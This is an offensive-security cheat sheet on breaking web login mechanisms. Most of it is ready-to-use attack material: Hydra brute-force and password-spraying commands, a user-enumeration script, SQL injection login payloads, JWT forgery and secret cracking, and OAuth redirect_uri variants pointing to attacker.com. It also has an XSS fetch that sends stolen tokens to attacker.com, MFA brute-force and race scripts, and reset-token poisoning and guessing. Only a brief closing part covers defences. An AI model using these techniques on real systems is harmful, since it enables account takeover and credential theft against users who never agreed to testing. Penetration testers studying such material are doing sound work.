Authentication Bypass: Breaking Login Mechanisms

# Using Hydra
hydra -L users.txt -P passwords.txt target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# Using Burp Intruder with credential lists
# Position: username=§user§&password=§pass§
# Attack type: Pitchfork

# Common passwords to try
Password123!
Summer2025!
Company123
Welcome1

# Using spray tool
spray.py -u users.txt -p 'Summer2025!' -d target.com

# Response differences to check:
# - Different error messages
# - Response time variations
# - Different HTTP status codes
# - Account lockout for valid users only

import requests
import time

def enumerate_users(wordlist):
    for username in wordlist:
        start = time.time()
        r = requests.post('https://target.com/login',
            data={'username': username, 'password': 'invalid'})
        elapsed = time.time() - start

        if "Invalid password" in r.text:  # Different from "Invalid username"
            print(f"[VALID] {username}")
        elif elapsed > 1:  # Timing difference
            print(f"[POSSIBLE] {username} (slow response)")

# Original response
HTTP/1.1 200 OK
{"authenticated": false, "error": "Invalid password"}

# Modified response (intercept and change)
HTTP/1.1 200 OK
{"authenticated": true, "user": "admin"}

# Try adding/modifying parameters
POST /login
username=user&password=wrong&admin=true
username=user&password=wrong&role=administrator
username=user&password=wrong&authenticated=1

# Username field
admin'--
admin' OR '1'='1'--
' OR 1=1--
' OR ''='
admin')--

# Password field (if checked separately)
' OR '1'='1
anything' OR '1'='1'--

# Collect multiple tokens
tokens = [
    "session=MTY3ODkwMTIzNA==",  # Base64 timestamp?
    "session=MTY3ODkwMTIzNQ==",
    "session=MTY3ODkwMTIzNg==",
]

# Decode and analyze
import base64
for t in tokens:
    decoded = base64.b64decode(t.split('=')[1])
    print(decoded)  # Sequential numbers!

1. Attacker gets session: PHPSESSID=attacker123
2. Send link: https://target.com/login?PHPSESSID=attacker123
3. Victim logs in with pre-set session
4. Attacker uses same session ID

// Check for tokens in:
localStorage.getItem('token')
sessionStorage.getItem('token')
document.cookie  // Without HttpOnly

// XSS can steal these tokens
fetch('https://attacker.com/steal?token=' + localStorage.getItem('jwt'))

import jwt
import base64

# Original token
token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature"

# Create token with alg:none
header = base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').rstrip(b'=')
payload = base64.urlsafe_b64encode(b'{"user":"admin","role":"admin"}').rstrip(b'=')
forged = header.decode() + '.' + payload.decode() + '.'

import jwt

# Get public key (often in /jwks.json or /.well-known/jwks.json)
public_key = open('public.pem').read()

# Sign with public key as HMAC secret
forged = jwt.encode(
    {"user": "admin", "role": "admin"},
    public_key,
    algorithm="HS256"
)

# Crack JWT secret
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

# Common weak secrets
secret
password
your-256-bit-secret

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "n": "attacker_public_key_n",
    "e": "AQAB"
  }
}

https://target.com/oauth/authorize?
  client_id=legit&
  redirect_uri=https://attacker.com/steal&
  response_type=code

# Variations to try:
redirect_uri=https://attacker.com
redirect_uri=https://target.com.attacker.com
redirect_uri=https://target.com%40attacker.com
redirect_uri=https://target.com/callback?next=https://attacker.com
redirect_uri=https://target.com/callback/../../../attacker.com

1. Attacker starts OAuth flow
2. Gets authorization code for attacker account
3. Sends link with code to victim
4. Victim clicks, their account links to attacker's Google/GitHub

# Token in URL (leaks via Referer)
https://app.com/callback#access_token=secret123

# Add external resource to page
<img src="https://attacker.com/log">
# Referer header contains token!

# Skip MFA page, go directly to authenticated page
GET /dashboard HTTP/1.1
Cookie: session=authenticated_session

# Sometimes MFA check only on /mfa-verify endpoint

# Original MFA response
{"mfa_required": true, "redirect": "/mfa-verify"}

# Modified
{"mfa_required": false, "redirect": "/dashboard"}

# If backup codes are 6-8 digits
for code in range(10000000):
    r = requests.post('/mfa/backup',
        data={'code': str(code).zfill(8)})
    if 'success' in r.text:
        print(f"Valid code: {code}")
        break

# Submit correct and incorrect MFA simultaneously
import threading

def submit_correct():
    requests.post('/mfa', data={'code': '123456'})  # correct

def submit_wrong():
    requests.post('/mfa', data={'code': '000000'})  # wrong

# Race to bypass rate limiting
threads = [threading.Thread(target=submit_correct) for _ in range(10)]
threads += [threading.Thread(target=submit_wrong) for _ in range(10)]
for t in threads:
    t.start()

# Token in URL sent via HTTP
http://target.com/reset?token=abc123

# Referer leakage
<img src="https://attacker.com/log">

POST /forgot-password HTTP/1.1
Host: attacker.com
X-Forwarded-Host: attacker.com

[email protected]

# Reset link sent: https://attacker.com/reset?token=...

# Tokens based on:
# - Timestamp
# - User ID
# - Email hash
# - Sequential numbers

import hashlib
import time

# If token = MD5(email + timestamp)
for ts in range(int(time.time()) - 3600, int(time.time())):
    token = hashlib.md5(f"[email protected]{ts}".encode()).hexdigest()
    r = requests.get(f"https://target.com/reset?token={token}")
    if "New password" in r.text:
        print(f"Valid token: {token}")

import bcrypt

# Hash passwords
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(12))

# Verify
bcrypt.checkpw(provided.encode(), stored_hash)

import secrets

# Generate unpredictable tokens
session_id = secrets.token_hex(32)

# Regenerate after login
session.regenerate()

# Set secure cookie flags
response.set_cookie('session', session_id,
    httponly=True, secure=True, samesite='Strict')

from flask_limiter import Limiter

@limiter.limit("5 per minute")
@app.route('/login', methods=['POST'])
def login():
    # ...